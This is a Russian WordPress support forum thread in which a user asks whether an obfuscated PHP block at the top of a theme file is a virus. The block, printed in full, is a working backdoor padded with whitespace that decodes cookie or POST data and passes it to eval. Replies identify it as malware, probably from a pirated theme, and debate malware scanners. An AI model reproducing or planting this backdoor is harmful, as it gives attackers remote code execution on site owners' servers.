Странный код в файле

(@matros97)

Привет подскажите что это за страный код в начали файла ? это вирус или нет ?


$qff9a = 471;$GLOBALS['i6e2c']=Array();global$i6e2c;$i6e2c=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['s43e04b']="\x79\x41\x68\x47\x71\x37\x43\x73\x2b\x9\x5e\x38\x33\x3a\x3d\x60\x7e\x4e\x21\x75\x6c\x4c\x7b\x45\x2d\x4a\x59\x44\x35\x78\x3f\x25\x30\x70\x4b\x6b\x5f\x6f\x5a\x52\x29\x61\x55\x63\x28\x6e\x34\x7d\x4f\x26\x4d\x49\x7a\x2c\x6d\x3b\x40\x57\x53\x42\x39\x51\x3e\x48\x50\x77\x2a\x36\x7c\x20\x24\x74\x72\xa\x62\x56\x27\xd\x5d\x3c\x2f\x64\x58\x22\x67\x66\x23\x5c\x5b\x46\x6a\x54\x31\x69\x65\x76\x32\x2e";$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][96]]=$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][2].$i6e2c['s43e04b'][72];$i6e2c[$i6e2c['s43e04b'][29].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][46]]=$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][81];$i6e2c[$i6e2c['s43e04b'][19].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][60]]=$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][71].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][20].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][45];$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][94]]=$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][45].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][71];$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][81]]=$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][20].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][52].$i6e2c['s43e04b'][94];$i6e2c[$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][74]]=$i6e2c['s43e04b'][33].$i6e2c['s43e04b'][2].$i6e2c['s43e04b'][33].$i6e2c['s43e04b'][95].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][45];$i6e2c[$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][41]]=$i6e2c['s43e04b'][19].$i6e2c['s43e04b'][45].$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][20].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][52].$i6e2c['s43e04b'][94];$i6e2c[$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][43]]=$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][67].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][94];$i6e2c[$i6e2c['s43e04b'][0].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][41]]=$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][71].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][71].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][54].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][20].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][54].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][71];$i6e2c[$i6e2c['s43e04b'][90].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][67].$i6e2c['s43e04b'][5]]=$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][46];$i6e2c[$i6e2c['s43e04b'][4].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][81]]=$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][28];$i6e2c[$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][5]]=$_POST;$i6e2c[$i6e2c['s43e04b'][90].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][12]]=$_COOKIE;@$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][94]]($i6e2c['s43e04b'][94].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][20].$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][84],NULL);@$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][94]]($i6e2c['s43e04b'][20].$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][84].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][7],0);@$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][94]]($i6e2c['s43e04b'][54].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][29].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][29].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][19].$i6e2c['s43e04b'][71].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][37].$i6e2c['s43e04b'][45].$i6e2c['s43e04b'][36].$i6e2c['s43e04b'][71].$i6e2c['s43e04b'][93].$i6e2c['s43e04b'][54].$i6e2c['s43e04b'][94],0);@$i6e2c[$i6e2c['s43e04b'][0].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][41]](0);$e271c71=NULL;$qfe70a=NULL;$i6e2c[$i6e2c['s43e04b'][19].$i6e2c['s43e04b'][67].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][5]]=$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][24].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][24].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][24].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][24].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][67].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][92];global$u6f1c2e47;function b939eb25($e271c71,$o094c62){global$i6e2c;$x2d81e="";for($e29dc95a=0;$e29dc95a<$i6e2c[$i6e2c['s43e04b'][19].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][60]]($e271c71);){for($b49c=0;$b49c<$i6e2c[$i6e2c['s43e04b'][19].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][60]]($o094c62)&&$e29dc95a<$i6e2c[$i6e2c['s43e04b'][19].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][60]]($e271c71);$b49c++,$e29dc95a++){$x2d81e.=$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][96]]($i6e2c[$i6e2c['s43e04b'][29].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][46]]($e271c71[$e29dc95a])^$i6e2c[$i6e2c['s43e04b'][29].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][5].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][46]]($o094c62[$b49c]));}}return$x2d81e;}function e7024($e271c71,$o094c62){global$i6e2c;global$u6f1c2e47;return$i6e2c[$i6e2c['s43e04b'][4].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][81]]($i6e2c[$i6e2c['s43e04b'][4].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][74].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][81]]($e271c71,$u6f1c2e47),$o094c62);}foreach($i6e2c[$i6e2c['s43e04b'][90].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][43].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][12]]as$o094c62=>$b5fef87d){$e271c71=$b5fef87d;$qfe70a=$o094c62;}if(!$e271c71){foreach($i6e2c[$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][5]]as$o094c62=>$b5fef87d){$e271c71=$b5fef87d;$qfe70a=$o094c62;}}$e271c71=@$i6e2c[$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][41]]($i6e2c[$i6e2c['s43e04b'][90].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][11].$i6e2c['s43e04b'][67].$i6e2c['s43e04b'][5]]($i6e2c[$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][28].$i6e2c['s43e04b'][46].$i6e2c['s43e04b'][60].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][12].$i6e2c['s43e04b'][43]]($e271c71),$qfe70a));if(isset($e271c71[$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][35]])&&$u6f1c2e47==$e271c71[$i6e2c['s43e04b'][41].$i6e2c['s43e04b'][35]]){if($e271c71[$i6e2c['s43e04b'][41]]==$i6e2c['s43e04b'][93]){$e29dc95a=Array($i6e2c['s43e04b'][33].$i6e2c['s43e04b'][95]=>@$i6e2c[$i6e2c['s43e04b'][81].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][96].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][94].$i6e2c['s43e04b'][74]](),$i6e2c['s43e04b'][7].$i6e2c['s43e04b'][95]=>$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][97].$i6e2c['s43e04b'][32].$i6e2c['s43e04b'][24].$i6e2c['s43e04b'][92],);echo@$i6e2c[$i6e2c['s43e04b'][72].$i6e2c['s43e04b'][92].$i6e2c['s43e04b'][85].$i6e2c['s43e04b'][81]]($e29dc95a);}elseif($e271c71[$i6e2c['s43e04b'][41]]==$i6e2c['s43e04b'][94]){eval/*e0d527d*/($e271c71[$i6e2c['s43e04b'][81]]);}exit();} ?>

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              <?php wp_nav_menu( array( 
          'theme_location' => 'sidebar-menu',
          'menu_class' => false,
          'menu_id' => false,
          'container_class' => 'nav',
          'container_id' => false
        ) ); ?>     
        
				<div class="anons">
						<h3>Анонсы</h3>            
            <a class="sorder-desc" href="/?sorder=ASC">Сортировка по дате: <i class="fa fa-arrow-down" aria-hidden="true"></i></a>
            <a class="sorder-asc" href="/?sorder=DESC">Сортировка по дате: <i class="fa fa-arrow-down" aria-hidden="true"></i></a>
            <ul>
              <?php 
              $posts = get_posts( array(
                'numberposts'     => 5, // тоже самое что posts_per_page
                'offset'          => 0,
                'category'        => 3,
                'orderby'         => 'post_date',
                'order'           => 'DESC',
                'include'         => '',
                'exclude'         => '',
                'meta_key'        => '',
                'meta_value'      => '',
                'post_type'       => 'post',
                'post_mime_type'  => '', // image, video, video/mp4
                'post_parent'     => '',
                'post_status'     => 'publish'
              ) );
              foreach($posts as $post){ setup_postdata($post);      
                $tags = wp_get_post_tags($post->ID);            
                echo '
                  <li>
                    <div class="anons_content_img">
                      <a href="'.get_the_permalink().'">'.get_the_post_thumbnail($post->ID).' </a>
                      <small>'.get_the_date('d.m.Y').'</small>
                    </div>
                    <div class="anons_content_post">
                      <a href="'.get_the_permalink().'" class="anons_content_post_firm">'.get_the_author_meta( 'nickname', $post->post_author).'</a>                      
                      <a href="'.get_bloginfo('url').'/tag/'.$tags[0]->slug.'" class="anons_content_post_power">'.$tags[0]->name.'</a>
                      <p><a href="'.get_the_permalink().'">'.my_sub(get_the_title(), 80).'</a></p>
                    </div>  
                  </li>
                ';
              }
              wp_reset_postdata();
              ?>   
            </ul>          
            

				</div>        
				<div class="comments">
						<h3>Последние комментарии</h3>
            
            <ul><?php wp_recentcomments(); ?></ul>            
            

				</div>

Тема изменена 7 лет, 6 месяцев назад пользователем matros97.
Тема изменена 7 лет, 6 месяцев назад пользователем Yui. Причина: странный пишется с 2 н

Просмотр 15 ответов — с 1 по 15 (всего 36)

1 2 3 →

Модератор Yui
(@fierevere)

永子

7 лет, 6 месяцев назад

99% что вирус, тема наверняка с «помойки» взята
еслииинтересно расшифровать — сервисы типа unphp в помощь
AiratVibe
(@airathalitov)

7 лет, 6 месяцев назад
@matros97
Вредоносный код обычно шифруют подобным образом и вствляют в начало файла (бывает, что в одну строку и через много пробелов (чтобы не было видно при открытии файла). Поэтому смело удаляйте его.

После этого обязательно проверьте сайт этим плагином (типо антивирусное сканирование, разберетесь)
https://wordpress.org/plugins/wordfence/

Вы видимо скачали какой-то плагин или тему с пиратского сайта, вот вредоносный код и интегрировался. Плюс он может быть сразу в нескольких файлах в самых «труднодоступных» местах, вручную не найдете. Проверяйте сканнером
- Ответ изменён 7 лет, 6 месяцев назад пользователем AiratVibe.
SeVlad
(@sevlad)

7 лет, 6 месяцев назад

(типо антивирусное сканирование

Вот именно что «типо».
AiratVibe
(@airathalitov)

7 лет, 6 месяцев назад
@sevlad

Вот именно что «типо».

В каком смысле? Что вас не устраивает?

Он меня выручил серьёзно один раз и с тех пор больше нравится, чем Ai-Bolit или Dr.Web (когда у меня была винда), или еще какие-то плагины-сканнеры.

Но по серьезным вопросам лучше совмещать несколько способов одновременно.
- Ответ изменён 7 лет, 6 месяцев назад пользователем AiratVibe.
SeVlad
(@sevlad)

7 лет, 6 месяцев назад

В каком смысле? Что вас не устраивает?

Только то что, этот плагин служит для других целей, а небольшой набор сигнатур — это всего лишь небольшой набор. (Более того — нагружать движок такими задачами не есть хорошо.)

В вопросах безопасности нет таблеток и 100%ных рецептов. Это процесс и важно понимать его.

Flector
(@flector)

7 лет, 6 месяцев назад

если уж на то пошло, то ai bolit на порядок лучше wordfence в плане нахождения зловредного кода. неоднократно с этим сталкивался.
AiratVibe
(@airathalitov)

7 лет, 6 месяцев назад
@flector
Не исключено, если это какой-нибудь параноидальный режим, хотя такой же есть и в wordfence (включается отдельно в настройках).
Только у ai bolit принцип работы другой — нужно вручную всё инициировать, и он не привязан к репозиториям WP.

Я wordfence выбираю, как комплексное решение, а не только ради сканера. Хотя изначально поставил только ради того, чтобы один раз удалить вредоносный код. А потом этот плагин прижился (нужно просто грамотно всё настроить).
- Ответ изменён 7 лет, 6 месяцев назад пользователем AiratVibe.
SeVlad
(@sevlad)

7 лет, 6 месяцев назад

@airathalitov

Я wordfence выбираю, как комплексное решение

Это Ваш выбор.
А я напр, никаких плагинов безопасности не использую и не рекомендую ничего кроме ограничителя попыток входа если на шареде.
Нечего на движок перекладывать серверные задачи. И вирусы тоже не нужно искать движком. На то есть другие средства, не мешающие работе сайта. Да хоть тот же айболит, хотя он и не панацея и я его использую как контрольную проверку — чаще быстрее всё найти глазами и синхронизаторами файлов.

нужно просто грамотно всё настроить)

Когда знаешь как грамотно настраивать сайт — плагины «безопасности» не нужны. 🙂
AiratVibe
(@airathalitov)

7 лет, 6 месяцев назад
@sevlad
Сколько пафоса в ваших словах))

Естественно, если у вас маленький «бложик» с тремя бесплатными плагинами на шаред хостинге — то не нужно никаких изощрений и избыточной защищенности (хотя можно поставить iThemes Security).

А если это большой коммерческий сайт, на котором более 50 плагинов, и сам сайт работает на VPS — тут немного другие вопросы возникают. За всем не уследишь. И соблазн взломать этот сайт гораздо выше (так и лезут во все дыры).

А вообще главное — не скачивать платные плагины из неофициальных источников.

Закроем эту тему
- Ответ изменён 7 лет, 6 месяцев назад пользователем AiratVibe.
- Ответ изменён 7 лет, 6 месяцев назад пользователем AiratVibe.
Модератор Yui
(@fierevere)

永子

7 лет, 6 месяцев назад

Айрат, а какая разница платные или бесплатные плагины?
Если платный плагин снят с поддержки, это также плохо как и бесплатный плагин который не обновлялся больше 2 лет, хотя если в каталожном плагине найдут дыры, то его просто с каталога уберут, а владелец «платного» плагина может и не узнать о проблемах безопасности до тех пор, пока его через этот плагин не взломают.
Аналогично с темами.

А если плагинов больше 50 на VPS — тут другие вопросы немного возникают. За всем не уследишь. И соблазн взломать этот сайт гораздо выше.

большинство взломов совершаются автоматически или направлено на конкретную уязвимость. Им все равно кого и что ломать, VPS, Дедик, шаред… кого сломали, того и пользуют. Без разницы.
Если же кого-то интересует конкретный сайт, то тут тоже значения иметь не будет на каком типе хостинга он работает, перебирать будут все варианты.

SeVlad
(@sevlad)

7 лет, 6 месяцев назад

@airathalitov

Сколько пафоса в ваших словах))

Ни разу такого нет.

Естественно, если у вас маленький бложик с тремя бесплатными плагинами
…
А если плагинов больше 50 на VPS

Как раз наоборот — маленькому бложику работа плагинов якобы «безопасности» может быть и не заметна, а на сайте (сайтах) с большим трафиком очень даже.
На ВПС вообще огромный выбор правильных средств защиты сайта вне зависимости от используемого движка. На нём вообще подобные плагины не нужны. Нужен админ, который может чуть побольше, чем нажать пару кнопок в панели.
А кол-во плагинов вообще цифра ни о чём.

Закроем эту тему

Закроем. И больше не будем советовать обязательно ставить плагины, от которых вреда больше, чем пользы.

AiratVibe
(@airathalitov)

7 лет, 6 месяцев назад

большинство взломов совершаются автоматически или направлено на конкретную уязвимость.

Не надо судить всех по большинству (хотя в этом вы правы: надо взломать — взломают в любом случае).

Закроем. И больше не будем советовать обязательно ставить плагины, от которых вреда больше, чем пользы.

Т.е. по-вашему это вредный плагин?
Я просто порекомендовал человеку, как решить его проблему. Видимо тут так делать нельзя))

SeVlad
(@sevlad)

7 лет, 6 месяцев назад

Т.е. по-вашему это вредный плагин?

В основном — да. Как и все другие подобные.
По моему мнению.

просто просто порекомендовал

«Обязательно проверьте», причем раза дана ссылка — это не «просто порекомендовал» 🙂

Видимо тут так делать нельзя))

1. Уловите разницу — «рекомендую» и «обязательно». При том что это вопросы и безопасности и работоспособности сайта. Подобные плагины — критически важный элемент сайта. Во многом зависит от условий использования.

2. Разве Вам запрещали? Если бы было запрещено — пост бы просто удалили.

3. Это моё личное мнение. Ничем не отличается от Вашего.

Модератор Yui
(@fierevere)

永子

7 лет, 6 месяцев назад

я не скажу вредный он или нет, потому как не пользуюсь и желания подобного не имею
всегда есть альтернативы, некоторые лучше и удобнее (лично для кого-то)

рекомендовать можно, только не преподносите это как единственный вариант и панацею,
потому что с этим не согласятся 😀

AiratVibe
(@airathalitov)

7 лет, 6 месяцев назад

Я описал мой алгоритм решения описанной проблемы, который почти наверно сработает (это значит, что я в нем уверен). Алгоритм именно такой, и каждый шаг в нем обязательный.

Почистили сайт — удаляете плагин (можно поставить галочку «удалить все настройки плагина»). Нравится — оставляете.

Пользоваться или нет моим решением — это дело пользователя. Никто никому ничего не обещал. Да и сам пользователь ничего не ответил.

Так что тут дальше идет уже выдергивание слов из контекста.